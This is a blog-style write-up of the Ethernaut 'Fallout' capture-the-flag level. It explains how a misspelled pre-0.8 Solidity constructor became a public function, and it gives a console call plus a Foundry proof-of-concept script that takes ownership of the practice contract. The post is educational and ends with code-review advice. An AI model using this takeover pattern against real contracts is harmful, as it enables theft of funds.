The Ethernaut CTF Solutions | 02 - Fallout

The Ethernaut CTF Solutions | 02 - Fallout

The necessity of code reviews and proper testing.

ยท

2 min read

Goals

The hack

Unlike a normal function that can be called anytime, a constructor is only executed once during the creation of the contract. In solidity versions before 0.8.0, a constructor was defined by naming it the same as your contract's name.

pragma solidity ^0.6.0;

contract Foo {
    // This is a constructor, same name as the contract
    function Foo() public payable {}

    // This is a function
    function foo() public payable {}
}

Unfortunately, the typo in the Fal1out() function converts it to a normal function instead of a constructor. Because of that, Fal1out() is a public function that anyone can call to take ownership of the contract.

/* constructor */
  function Fal1out() public payable {
      owner = msg.sender;
      allocations[owner] = msg.value;
  }

The Fal1out function should have been named Fallout.

Since solidity 0.8.0, a special keyword constructor has been introduced:

pragma solidity ^0.8.0;

contract Foo {
    // This is a constructor
    constructor () payable {}

    // This is a function not following best practices
    function Foo() public payable {}

    // This is a function
    function foo() public payable {}
}

Solution

Simply call the Fal1out() function to take ownership of the contract.

JavaScript (Browser's console):

await contract.Fal1out();

Solidity (Foundry):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface IFal1out {
    function Fal1out() external payable;
    function owner() external view returns (address);
}

contract PoC is Script {
    // Replace this with your Fallout instance
    IFal1out fal1out = IFal1out(0x74AeDd06d77592Fbf41dcd0fa39B04894DB78C52); 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        console2.log("Current owner: ", fal1out.owner());
        fal1out.Fal1out();
        console2.log("New owner: ", fal1out.owner());

        vm.stopBroadcast();
    }
}

And the script to deploy our newly crafted contract:

forge script script/02_Fal1out.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Review your code carefully and multiple times before deploying it.

  • Use tests to catch obvious bugs like this one.


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย